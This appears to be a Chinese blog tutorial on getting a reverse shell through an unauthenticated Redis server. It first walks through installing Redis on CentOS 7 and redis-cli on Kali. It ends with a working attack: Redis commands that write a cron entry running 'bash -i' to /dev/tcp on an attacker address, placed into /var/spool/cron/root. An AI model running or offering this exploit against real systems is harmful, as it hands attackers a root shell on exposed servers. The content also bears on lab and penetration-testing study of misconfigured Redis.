redis计划任务反弹shell
1.环境搭建Ubuntu16.04安装redissudo apt-get install redis-servervim /etc/redis/redis.conf注释掉密码和仅允许本地访问kali 安装redis-cli进行连接wget http://download.redis.io/redis-stable.tar.gztar -zxvf redis-stable.tar.gzcd redi
·
1.环境搭建
centos7安装redis
安装gcc依赖
yum install -y gcc
下载解压安装包
#下载
wget http://download.redis.io/releases/redis-5.0.3.tar.gz
#解压
tar -zxvf redis-5.0.3.tar.gz
切换到redis解压目录下,进行编译
cd redis-5.0.3
#编译
make
#安装指定目录(安装完成后会在目录下面生成一个bin目录)
make install PREFIX=/java/redis
启动服务
前台启动
cd /usr/local/redis/bin/
./redis-server
后台启动
cp /usr/local/redis-5.0.3/redis.conf /usr/local/redis/bin/
修改 redis.conf 文件,把 daemonize no 改为 daemonize yes
vi redis.conf
./redis-server redis.conf
设置开机启动
[root@localhost bin]# vi /etc/systemd/system/redis.service
复制代码
[Unit]
Description=redis-server
After=network.target
[Service]
Type=forking
ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/bin/redis.conf
PrivateTmp=true
[Install]
WantedBy=multi-user.target
设置开机启动
[root@localhost bin]# systemctl daemon-reload
[root@localhost bin]# systemctl start redis.service
[root@localhost bin]# systemctl enable redis.service
[root@localhost ~]# ln -s /usr/local/redis/bin/redis-cli /usr/bin/redis
测试 redis
服务操作命令
systemctl start redis.service #启动redis服务
systemctl stop redis.service #停止redis服务
systemctl restart redis.service #重新启动服务
systemctl status redis.service #查看服务当前状态
systemctl enable redis.service #设置开机自启动
systemctl disable redis.service #停止开机自启动
参考:https://www.cnblogs.com/xiaobug/p/13928438.html
更改完配置要重启redis服务
systemctl restart redis.service
kali 安装redis-cli进行连接
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make //全局生效
cp src/redis-cli /usr/bin/
redis-cli -h 目标主机IP地址 -p 端口号
参考:https://blog.csdn.net/fly_hps/article/details/102690282
1.远程登陆redis利用计划任务反弹shell
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.3.20/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
更多推荐
已为社区贡献1条内容
所有评论(0)